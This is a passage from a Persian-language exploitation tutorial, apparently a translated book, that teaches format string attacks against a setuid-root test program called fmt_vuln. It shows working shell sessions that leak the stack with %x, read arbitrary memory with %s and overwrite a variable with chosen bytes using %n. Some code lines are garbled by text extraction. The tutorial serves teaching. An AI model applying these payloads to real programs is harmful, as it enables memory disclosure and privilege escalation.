وﺟﻮد ﻣﯽ داﺷﺖ اﺳﺘﺨﺮاج و ﺑﻬﺮه ﺑﺮداری ﮐﺮده اﺳﺖ )اﯾﻨﮑﺎر ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن ﻃﻮل آرﮔﻮﻣﺎن ﻣﻮرد ﻧﻈﺮ ﺑﻪ اﺷﺎرﮔﺮ ﻗـﺎب
ﻓﻌﻠﯽ اﻧﺠﺎم ﻣﯽ ﮔﺮدد( .ﯾﻌﻨﯽ آدرس ،0x00000071در ﺣﻘﯿﻘﺖ آدرس اوﻟﯿﻦ ﻣﻘﺪار ﻣﻮﺟﻮد در ﭘﺎﺋﯿﻦ ﻗﺎب ﭘﺸﺘﻪ ﺑـﺮای
ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﺳﺖ.
اﯾﻦ ﻧﮑﺘﻪ ﻣﻬﻢ و ﺟﺎﻟﺐ را ﮐﺎﻣﻼ ﺑﻪ ﺧﺎﻃﺮ ﺑﺴﭙﺎرﯾﺪ .ﺟﺎﻟﺐ ﻣﯽ ﺷﺪ اﮔﺮ ﻣﯽ ﺗﻮاﻧﺴﺘﯿﻢ راﻫﯽ ﭘﯿـﺪا ﮐﻨـﯿﻢ ﺗـﺎ ﺗﻌـﺪاد آرﮔﻮﻣـﺎن
ﻫﺎی ﻣﻨﺘﻘﻞ ﺷﺪه ﺑﻪ ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﯾﺎ ﺗﻌﺪاد آرﮔﻮﻣﺎن ﻫﺎﯾﯽ ﮐﻪ ﯾﮏ ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﻧﺘﻈﺎر دارد را ﮐﻨﺘﺮل ﮐﻨﯿﻢ .ﺧﻮﺷـﺒﺨﺘﺎﻧﻪ
52
ﯾﮏ ﺧﻄﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻌﻤﻮل وﺟﻮد دارد ﮐﻪ اﺟﺮای دوﻣﯿﻦ ﻋﻤﻞ )ﯾﻌﻨﯽ ﮐﻨﺘﺮل ﺗﻌﺪاد آرﮔﻮﻣﺎن ﻫﺎﯾﯽ ﮐـﻪ ﯾـﮏ ﺗـﺎﺑﻊ
ﻓﺮﻣﺖ اﻧﺘﻈﺎر آﻧﺮا دارد( را اﻣﮑﺎن ﭘﺬﯾﺮ ﻣﯽ ﺳﺎزد.
ﮔﺎﻫﯽ اوﻗﺎت ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﺎن رﺷﺘﻪ ﻫـﺎ را ﺑـﻪ ﺟـﺎی ﻗﺎﻟـﺐ ) ،printf("%s", stringﺑـﺎ ﻗﺎﻟـﺐ ) printf(stringﺑـﻪ ﭼـﺎپ
ﻣﯿﺮﺳﺎﻧﻨﺪ .از ﻟﺤﺎظ ﮐﺎرﮐﺮد ،ﻗﺎﻟﺐ دوم ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﻨﺪ ،ﺑﻄﻮرﯾﮑﻪ آدرس رﺷﺘﻪ )ﺑﻪ ﺟـﺎی آدرس رﺷـﺘﻪ ﻓﺮﻣـﺖ در
ﻗﺎﻟﺐ اول( ﺑﻪ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد ،ﺳﭙﺲ ﺗﺎﺑﻊ در رﺷﺘﻪ ﺑﻪ ﺟﻠﻮ ﺣﺮﮐﺖ ﮐﺮده و ﻫﺮ ﮐﺎراﮐﺘﺮ را ﭼﺎپ ﻣﯽ ﮐﻨـﺪ .ﻫـﺮ
دو روش در ﻣﺜﺎل زﯾﺮ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ.
fmt_vuln.c code
>#include <stdlib.h
;)exit(0
}
ﺧﺮوﺟﯽ زﯾﺮ ﻧﺤﻮه ﮐﺎﻣﭙﺎﯾﻞ و اﺟﺮای ﺑﺮﻧﺎﻣﻪ fmt_vulnرا ﻧﺸﺎن ﻣﯽ دﻫﺪ.
$ gcc -o fmt_vuln fmt_vuln.c
$ sudo chown root.root fmt_vuln
$ sudo chmod u+s fmt_vuln
$ ./fmt_vuln testing
The right way:
testing
The wrong way:
testing
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ ﮐﻪ ﻫﺮ دو روش ﺑﺎ رﺷﺘﻪ testingﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﮐﺮدﻧﺪ .اﻣﺎ اﮔﺮ رﺷﺘﻪ ﺣﺎوی ﯾﮏ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﺎﺷﺪ ﭼﻪ
اﺗﻔﺎﻗﯽ ﻣﯽ اﻓﺘﺪ؟ ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﺑﺎﯾﺴﺘﯽ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ را ارزﯾﺎﺑﯽ ﮐﺮده و ﺑﺎ اﺿـﺎﻓﻪ ﮐـﺮدن ﺑـﻪ اﺷـﺎرﮔﺮ ﻗـﺎب ﺑـﻪ آرﮔﻮﻣـﺎن
ﻣﺘﻨﺎﻇﺮ دﺳﺖ ﯾﺎﺑﺪ .اﻣﺎ ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ دﯾﺪﯾﻢ اﮔﺮ آرﮔﻮﻣﺎن ﻣﺘﻨﺎﻇﺮ ﺗﺎﺑﻊ در آن ﻣﮑﺎن وﺟﻮد ﻧﺪاﺷﺘﻪ ﺑﺎﺷﺪ ،اﺿﺎﻓﻪ ﺷﺪن
ﺑﻪ اﺷﺎرﮔﺮ ﻗﺎب ﺳﺒﺐ ارﺟﺎع ﺑﻪ ﯾﮏ ﻗﻄﻌﻪ از ﺣﺎﻓﻈﻪ در ﯾﮏ ﻗﺎب ﭘﺸﺘﻪ ﭘﯿﺸﯿﻦ ﻣﯽ ﮔﺮدد.
$ ./fmt_vuln testing%x
53
The right way:
testing%x
The wrong way:
testingbffff5a0
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %xاﺳﺘﻔﺎده ﺷﺪ ،ﯾﮏ ﮐﻠﻤﻪ 4ﺑﺎﯾﺘﯽ در ﭘﺸﺘﻪ ﺑﻪ ﺣﺎﻟﺖ ﻫﮕﺰادﺳﯿﻤﺎل ﭼﺎپ ﺷﺪ .اﯾﻦ ﻓﺮآﯾﻨﺪ را
ﻣﯽ ﺗﻮان ﻣﮑﺮرا اﻣﺘﺤﺎن ﮐﺮد ﺗﺎ ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ را ﺑﺮرﺳﯽ ﻧﻤﻮد.
'';$ ./fmt_vuln 'perl -e 'print "%08x."x40
The right way:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
%08x.%08
x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08
x.%08x.%
08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way:
bffff4e0.000003e8.000003e8.78383025.3830252e.30252e78.252e7838.2e783830.783
83025.38
30252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783
830.7838
3025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e783
8.2e7838
30.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
252e7838
.2e783830.78383025.3830252e.
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
ﻃﺮح ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ ﭘﺎﺋﯿﻦ ﺗﺮ ،ﺑﻪ اﯾﻦ ﺻﻮرت اﺳﺖ .ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐـﻪ در ﻣﻌﻤـﺎری ،Little Endianﻫـﺮ ﮐﻠﻤـﻪ 4
ﺑﺎﯾﺘﯽ ﺑﻪ ﺻﻮرت ﻣﻌﮑﻮس وﺟﻮد دارد .ﺑﺎﯾﺖ ﻫﺎی 0x78 ،0x38 ،0x30 ،0x25و 0x2eزﯾﺎد ﺗﮑﺮار ﺷﺪه اﻧﺪ .اﯾﻦ ﺑﺎﯾـﺖ
ﻫﺎ ﺗﻮﺟﻪ ﻣﺎ را ﺑﻪ ﺧﻮد ﺟﻠﺐ ﻣﯽ ﮐﻨﻨﺪ.
"$ printf "\x25\x30\x38\x78\x2e\n
%08x.
$
ﻣﺸﻬﻮد اﺳﺖ ﮐﻪ اﯾﻦ ﺑﺎﯾﺖ ﻫﺎ ،ﺣﺎﻓﻈﻪ ی ﺧﻮد رﺷﺘﻪ ﻓﺮﻣﺖ ﻫﺴﺘﻨﺪ .ﭼﻮن ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﻫﻤﯿﺸﻪ در ﺑﺎﻻﺗﺮﯾﻦ ﻗﺎب ﭘﺸﺘﻪ ﻗﺮار
ﺧﻮاﻫﺪ داﺷﺖ ،ﻟﺬا رﺷﺘﻪ ﻓﺮﻣﺖ در ﻫﺮ ﺟﺎﯾﯽ از ﭘﺸﺘﻪ ﮐﻪ ذﺧﯿﺮه ﺷﻮد ،ﻣﮑﺎن آن در ﭘﺎﺋﯿﻦ از اﺷﺎرﮔﺮ ﻗﺎب ﻓﻌﻠﯽ )در ﯾـﮏ
آدرس ﺣﺎﻓﻈﻪ ای ﺑﺎﻻﺗﺮ( ﺗﻌﺒﯿﺮ ﻣﯽ ﺷﻮد .از اﯾﻦ ﻣﻮﺿﻮع ﻣﯽ ﺗﻮان ﺑﺮای ﮐﻨﺘﺮل آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﻓﺮﻣﺖ اﺳـﺘﻔﺎده ﮐـﺮد.
اﮔﺮ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺘﯽ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﻨﺪ ﮐﻪ داده ﻫﺎﯾﺸﺎن از ﻃﺮﯾﻖ ارﺟﺎع ) (by-Referenceﻣﻨﺘﻘﻞ ﮔﺮدد )ﻣﺜـﻞ %s
و (%nآﻧﮕﺎه اﯾﻦ ﻣﻮﺿﻮع ﻣﻔﯿﺪ واﻗﻊ ﺧﻮاه ﺷﺪ.
ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %sرا ﻣﯽ ﺗﻮان ﺟﻬﺖ ﺧﻮاﻧﺪن آدرس ﻫﺎی دﻟﺨﻮاه ﺣﺎﻓﻈﻪ اﺳﺘﻔﺎده ﮐﺮد .ﭼﻮن ﻣﯽ ﺗﻮان داده ﻫـﺎی رﺷـﺘﻪ
ﻓﺮﻣﺖ اﺻﻠﯽ را ﺧﻮاﻧﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان از ﺑﺨﺸﯽ از رﺷﺘﻪ ﻓﺮﻣﺖ اﺻﻠﯽ ﺑﺮای اراﺋﻪ ﯾﮏ آدرس ﺑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %sاﺳﺘﻔﺎده
ﮐﺮد .اﯾﻦ ﻣﻮﺿﻮع در زﯾﺮ ﺑﺮرﺳﯽ ﺷﺪه اﺳﺖ:
$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
The right way:
AAAA%08x.%08x.%08x.%08x
The wrong way:
AAAAbffff590.000003e8.000003e8.41414141
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
ﭼﻬﺎر ﺑﺎﯾﺖ 0x41ﻣﻮﺟﻮد در ﺧﺮوﺟﯽ ﻓﻮق ،ﻧﺸﺎن ﻣﯽ دﻫﻨـﺪ ﮐـﻪ ﭼﻬـﺎرﻣﯿﻦ ﭘـﺎراﻣﺘﺮ ﺟﻬـﺖ درﯾﺎﻓـﺖ داده ﻫـﺎی ﺧـﻮد از
اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺧﻮاﻧﺪه اﺳﺖ .اﮔﺮ ﭼﻬﺎرﻣﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﻪ ﺟﺎی %xﺑﺎ %sﺟﺎﯾﮕﺰﯾﻦ ﺷﻮد ،ﺗﺎﺑﻊ ﻓﺮﻣﺖ ﺳﻌﯽ ﺑـﺮ
54
ﭼﺎپ رﺷﺘﻪ ﻣﻮﺟﻮد در آدرس 0x41414141ﺧﻮاﻫﺪ ﮐﺮد .ﭼﻮن اﯾﻦ آدرس ﻏﯿﺮ ﻣﻌﺘﺒﺮ اﺳﺖ ،در ﻧﺘﯿﺠﻪ اﯾﻦ ﻋﻤﻞ ﺳﺒﺐ
ﮐﺮش ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﺑﺎ ﯾﮏ Segmentation Faultﻣﯽ ﺷﻮد .اﻣﺎ اﮔﺮ ﯾـﮏ آدرس ﺣﺎﻓﻈـﻪ ﻣﻌﺘﺒـﺮ ﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار
ﮔﯿﺮد ،آﻧﮕﺎه ﻣﯽ ﺗﻮان از اﯾﻦ ﻓﺮآﯾﻨﺪ ﺑﺮای ﺧﻮاﻧﺪن رﺷﺘﻪ ﻣﻮﺟﻮد در آن آدرس ﺣﺎﻓﻈﻪ اﺳﺘﻔﺎده ﮐﺮد.
$ ./getenvaddr PATH
PATH is located at 0xbffffd10
$ pcalc 0x10 + 4
20 0x14 0y10100
$ ./fmt_vuln 'printf "\x14\xfd\xff\xbf"'%08x.%08x.%08x%s
The right way:
yáÿ¿%08x.%08x.%08x%s
The wrong way:
yáÿ¿bffff480.00000065.00000000/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X1
1R6/bin:/
usr/games/bin:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matr
ix/bin
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
$ ./fmt_vuln 'printf "\x14\xfd\xff\xbf"'%x.%x.%x%s
The right way:
yáÿ¿%x.%x.%x%s
The wrong way:
yáÿ¿bffff490.65.0/bin:/usr/bin:/usr/local/bin:/opt/bin:/usr/X11R6/bin:/usr/
games/bin
:/opt/insight/bin:.:/sbin:/usr/sbin:/usr/local/sbin:/home/matrix/bin
[*] test_val @ 0x08049570 = -72 0xffffffb8
در اﯾﻨﺠﺎ از ﺑﺮﻧﺎﻣﻪ getenvaddrﺟﻬﺖ درﯾﺎﻓﺖ آدرس ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ PATHاﺳﺘﻔﺎده ﮔـﺸﺘﻪ اﺳـﺖ .ﭼـﻮن ﻃـﻮل ﻧﺎﻣـﻪ
ﺑﺮﻧﺎﻣﻪ )ﯾﻌﻨﯽ (fmt_vulnدو ﺑﺎﯾﺖ ﮐﻤﺘﺮ از ﻧﺎم getenvaddrاﺳﺖ ،ﻟﺬا 4ﺑﺎﯾﺖ ﺑﻪ آدرس اﺿﺎﻓﻪ ﺷﺪه و ﺳﭙﺲ ﺑﻪ دﻟﯿـﻞ
ﻃﺮح ﺗﺮﺗﯿﺐ ﺑﺎﯾﺖ ،ﻣﻌﮑﻮس ﻣﯽ ﺷﻮﻧﺪ .ﭼﻬﺎرﻣﯿﻦ ﭘﺎراﻣﺘﺮ ) (%sاز اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺷﺮوع ﺑـﻪ ﺧﻮاﻧـﺪن ﻣـﯽ ﮐﻨـﺪ ،ﺑـﻪ
ﮔﻤﺎن اﯾﻨﮑﻪ اﯾﻦ ﻫﻤﺎن آدرﺳﯽ اﺳﺖ ﮐﻪ ﺑﻪ ﻋﻨﻮان آرﮔﻮﻣﺎن ﺗﺎﺑﻊ ﺑﻪ آن ﻣﻨﺘﻘﻞ ﺷﺪه اﺳﺖ .ﭼﻮن آدرس در ﺣﻘﯿﻘﺖ ﻫﻤـﺎن
آدرس ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ PATHاﺳﺖ ،ﻟﺬا ﺑﻪ ﻫﻤـﺎن ﺻـﻮرﺗﯽ ﭼـﺎپ ﺷـﺪه اﺳـﺖ ﮐـﻪ در ﺻـﻮرت اﻧﺘﻘـﺎل ﯾـﮏ اﺷـﺎرﮔﺮ از
ﻣﺘﻐﯿﺮﻣﺤﯿﻄﯽ ﺑﻪ )( printfﭼﺎپ ﻣﯽ ﺷﺪ.
اﮐﻨﻮن ﮐﻪ ﻓﺎﺻﻠﻪ ﺑﯿﻦ اﻧﺘﻬﺎی ﻗﺎب ﭘﺸﺘﻪ و اﺑﺘﺪای ﺣﺎﻓﻈﻪ رﺷﺘﻪ ﻓﺮﻣﺖ ﺷﻨﺎﺧﺘﻪ ﺷﺪه اﺳﺖ ،ﻣﯽ ﺗﻮان آرﮔﻮﻣـﺎن ﻫـﺎی ﻃـﻮل
ﻣﯿﺪان در ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ %xرا ﺣﺬف ﮐﺮد .اﯾﻦ ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ ﺗﻨﻬﺎ ﺑﺮای ﺑﺮرﺳﯽ داده ﻫﺎ در ﺣﺎﻓﻈﻪ )ﻗﺪم زدن
در ﺣﺎﻓﻈﻪ!( ﻣﻮرد ﻧﯿﺎز ﻫﺴﺘﻨﺪ .ﺑﺎ اﺳﺘﻔﺎده از اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺮ آدرس ﺣﺎﻓﻈﻪ را ﻣﯽ ﺗﻮان ﺗﺤﺖ ﻋﻨﻮان ﯾـﮏ رﺷـﺘﻪ ﺑﺮرﺳـﯽ
ﮐﺮد.
اﮔﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %sرا ﺑﺘﻮان ﺑﺮای ﺧﻮاﻧﺪن ﯾﮏ آدرس ﺣﺎﻓﻈﻪ دﻟﺨﻮاه ﺑﮑﺎر ﺑﺮد ،ﻣﺴﻠﻤﺎ ﻫﻤﺎن ﺗﮑﻨﯿـﮏ را ﺑـﺎ ﭘـﺎراﻣﺘﺮ
%nﻣﯽ ﺗﻮان ﺑﻪ ﻣﻨﻈﻮر ﻧﻮﺷﺘﻦ در ﯾﮏ آدرس ﺣﺎﻓﻈﻪ دﻟﺨﻮاه ﺑﮑﺎر ﺑﺮد.
ﻣﺘﻐﯿﺮ test_valﮐﻪ آدرس و ﻣﻘﺪار آن در ﺟﻤﻼت اﺷﮑﺎل زداﯾﯽ در ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ fmt_vulnآﻣﺪه اﺳﺖ ،ﻣﮑـﺎن
ﻣﻨﺎﺳﺒﯽ ﺑﺮای ﺟﺎﯾﻨﻮﯾﺴﯽ اﺳﺖ .ﻣﺘﻐﯿﺮ testدر آدرس 0x08049570واﻗﻊ ﺷﺪه اﺳﺖ ،ﻟﺬا ﺑـﺎ اﺳـﺘﻔﺎده از ﯾـﮏ ﺗﮑﻨﯿـﮏ
ﻣﺎﻧﻨﺪ ﻗﺒﻞ ،ﺑﺎﯾﺴﺘﯽ ﻗﺎدر ﺑﻪ ﻧﻮﺷﺘﻦ در اﯾﻦ ﻣﺘﻐﯿﺮ ﺑﺎﺷﯿﻢ.
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%x%n
The right way:
%x.%x.%x%n
The wrong way:
bffff5a0.3e8.3e8
[*] test_val @ 0x08049570 = 20 0x00000014
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%08x.%08x.%08x%n
55
The right way:
%08x.%08x.%08x%n
The wrong way:
bffff590.000003e8.000003e8
[*] test_val @ 0x08049570 = 30 0x0000001e
$
ﻣﺸﻬﻮد اﺳﺖ ﮐﻪ ﻣﺘﻐﯿﺮ test_valرا ﻋﻤﻼ ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﺮد .ﻣﻘﺪار ﻧﺘﯿﺠـﻪ ﯾﺎﻓﺘـﻪ
در ﻣﺘﻐﯿﺮ testﺑﻪ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﻧﻮﺷﺘﻪ ﺷﺪه ﺗﺎ ﻗﺒﻞ از %nﺑﺴﺘﮕﯽ دارد .اﯾﻦ ﻣﺴﺌﻠﻪ را ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮ ﻃـﻮل ﻣﯿـﺪان
ﮐﻨﺘﺮل ﮐﺮد.
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%100x%n
The right way:
%x.%x.%100x%n
The wrong way:
bffff5a0.3e8.
3e8
[*] test_val @ 0x08049570 = 117 0x00000075
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%183x%n
The right way:
%x.%x.%183x%n
The wrong way:
bffff5a0.3e8.
3e8
[*] test_val @ 0x08049570 = 200 0x000000c8
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%238x%n
The right way:
%x.%x.%238x%n
The wrong way:
bffff5a0.3e8.
3e8
[*] test_val @ 0x08049570 = 255 0x000000ff
$
ﺑﺎ دﺳﺘﮑﺎری و ﺗﻐﯿﯿﺮ ﻃﻮل ﻣﯿﺪانِ ﯾﮑﯽ از ﭘﺎراﻣﺘﺮﻫـﺎی ﻓﺮﻣـﺖ در ﻗﺒـﻞ از %nﻣـﯽ ﺗـﻮان ﺗﻌـﺪاد ﻓﺎﺻـﻠﻪ ﺧـﺎﻟﯽ ﻣﺸﺨـﺼﯽ
)دﻟﺨﻮاه( را ﺑﻪ رﺷﺘﻪ اﺿﺎﻓﻪ ﮐﺮد .در ﻧﺘﯿﺠﻪ ﺧﺮوﺟﯽ دارای ﺗﻌﺪادی ﺧﻂ ﯾﺎ ﻓﺎﺻﻠﻪ ﺧﺎﻟﯽ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ﺑـﻪ ﻫﻤـﯿﻦ ﺗﺮﺗﯿـﺐ
ﻣﯽ ﺗﻮان از آﻧﻬﺎ ﺑﺮای ﮐﻨﺘﺮل ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﻧﻮﺷﺘﻪ ﺷﺪه ﺗﺎ ﻗﺒﻞ از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nاﺳـﺘﻔﺎده ﮐـﺮد .اﯾـﻦ ﺧـﻂ ﻣـﺸﯽ
ﺑﺮای ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﮐﻢ ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﺑﺮای ﺗﻌـﺪاد ﺑﯿـﺸﺘﺮ )ﻣﺜـﻞ آدرس ﻫـﺎی ﺣﺎﻓﻈـﻪ( ﮐـﺎرﮐﺮد ﻧﺨﻮاﻫـﺪ
داﺷﺖ.
ﺑﺎ ﻧﮕﺎه ﺑﻪ ﻧﻤﺎﯾﺶ ﻫﮕﺰادﺳﯿﻤﺎل از ﻣﻘﺪار ،test_valواﺿﺢ اﺳﺖ ﮐﻪ ﻣﯿﺘﻮان ﮐـﻢ ارزش ﺗـﺮﯾﻦ ﺑﺎﯾـﺖ را ﮐﻨﺘـﺮل ﮐـﺮد .ﺑـﻪ
ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﻋﻤﻼ در اوﻟﯿﻦ ﺑﺎﯾﺖ از ﮐﻠﻤﻪ 4ﺑﺎﯾﺘﯽ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳـﺖ )ﺑـﻪ دﻟﯿـﻞ ﺗﺮﺗﯿـﺐ
ﺑﺎﯾﺖ( .اﯾﻦ ﻧﮑﺘﻪ را ﻣﯽ ﺗﻮان ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ آدرس ﮐﺎﻣﻞ اﺳﺘﻔﺎده ﮐﺮد .اﮔﺮ ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ در آدرﺳـﻬﺎی ﺣﺎﻓﻈـﻪ
ﻣﺘﻮاﻟﯽ اﻧﺠﺎم ﮔﺮدد ،ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ را ﻣﯽ ﺗﻮان در ﻫﺮ ﯾﮏ از ﮐﻠﻤﺎت 4ﺑﺎﯾﺘﯽ ﻧﻮﺷﺖ ،ﻫﻤﺎن ﻃﻮر ﮐﻪ در زﯾـﺮ ﻧﯿـﺰ
ﺑﻪ ﺗﺼﻮﯾﺮ ﮐﺸﯿﺪه ﺷﺪه اﺳﺖ:
56
ﺑﻪ ﻋﻨﻮان ﻣﺜﺎل ﻣﯽ ﺧﻮاﻫﯿﻢ آدرس 0xDDCCBBAAرا در ﻣﺘﻐﯿﺮ testﺑﻨﻮﯾﺴﯿﻢ .در ﺣﺎﻓﻈـﻪ ،ﺑﺎﯾـﺴﺘﯽ اوﻟـﯿﻦ ﺑﺎﯾـﺖ از
ﻣﺘﻐﯿﺮ testﺑﺮاﺑﺮ ،0xAAدوﻣﯿﻦ ﺑﺎﯾﺖ ،0xBBﺳﻮﻣﯿﻦ ﺑﺎﯾﺖ 0xCCو ﻧﻬﺎﯾﺘﺎ ﭼﻬﺎرﻣﯿﻦ ﺑﺎﯾـﺖ ﺑﺮاﺑـﺮ ﺑـﺎ 0xDDﺑﺎﺷـﺪ.
ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ در آدرس ﻫﺎی 0x08049572 ،0x08049571 ،0x08049570و 0x08049573ﻣﯽ ﺗﻮاﻧـﺪ اﯾـﻦ
ﻣﻬﻢ را اﻧﺠﺎم دﻫﺪ .اوﻟﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ،ﻣﻘـﺪار ،0x000000aaدوﻣـﯿﻦ ﻋﻤـﻞ ﻧﻮﺷـﺘﻦ ،ﻣﻘـﺪار ،0x000000bbﺳـﻮﻣﯿﻦ
ﻋﻤﻞ ،ﻣﻘﺪار 0x000000ccو ﻧﻬﺎﯾﺘﺎ ﭼﻬﺎرﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ،ﻣﻘﺪار 0x000000ddرا ﺧﻮاﻫﻨﺪ ﻧﻮﺷﺖ.
اوﻟﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﺎﯾﺴﺘﯽ آﺳﺎن ﺑﺎﺷﺪ.
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%x%n
The right way:
%x.%x.%x%n
The wrong way:
bffff5a0.3e8.3e8
[*] test_val @ 0x08049570 = 20 0x00000014
$ pcalc 20 - 3
17 0x11 0y10001
$ pcalc 0xaa - 17
153 0x99 0y10011001
$ ./fmt_vuln 'printf "\x70\x95\x04\x08"'%x.%x.%153x%n
The right way:
%x.%x.%153x%n
The wrong way:
bffff5a0.3e8.
3e8
[*] test_val @ 0x08049570 = 170 0x000000aa
$
ﺑﺎﯾﺴﺘﯽ اوﻟﯿﻦ ﺑﺎﯾﺖ ﺑﺮاﺑﺮ ﺑﺎ 0xAAﺑﺎﺷﺪ و آﺧﺮﯾﻦ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ،%xﻧﯿـﺰ ﺑﺎﯾـﺴﺘﯽ 3ﺑﺎﯾـﺖ از 3e8را ﺑـﻪ ﺧﺮوﺟـﯽ
ﺑﻔﺮﺳﺘﺪ .ﭼﻮن ﻣﻘﺪار 20در ﻣﺘﻐﯿﺮ testﻧﻮﺷﺘﻪ ﺷﺪ ،ﻟﺬا اﻧﺪﮐﯽ اﺳﺘﻨﺎد ﺑﻪ ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ ﻧﺸﺎن ﻣﯽ دﻫﺪ ﮐﻪ ﭘﺎراﻣﺘﺮﻫﺎی
ﻓﺮﻣﺖ ﻗﺒﻞ از آن 17 ،ﺑﺎﯾﺖ ﻧﻮﺷﺘﻪ در ﺧﺮوﺟﯽ ﻧﻮﺷﺘﻪ اﻧﺪ .ﺑﺮای ﻣﺴﺎوی ﮐﺮدن ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﺑﺎ ﻣﻘـﺪار ،0xAA
ﺑﺎﯾﺪ ﮐﺎری ﮐﺮد ﮐﻪ آﺧﺮﯾﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ،%xﺗﻌﺪاد 153ﺑﺎﯾﺖ را )ﺑﻪ ﺟﺎی 3ﺑﺎﯾﺖ( ﺑﻪ ﺧﺮوﺟﯽ ﺑﻔﺮﺳﺘﺪ .ﮔﺰﯾﻨـﻪ ﻃـﻮل
ﻣﯿﺪان ﻣﯽ ﺗﻮاﻧﺪ اﯾﻦ ﺗﻄﺒﯿﻖ را ﺑﻪ ﺧﻮﺑﯽ ﺑﺮای ﻣﺎ ﺗﺮﺗﯿﺐ دﻫﺪ.
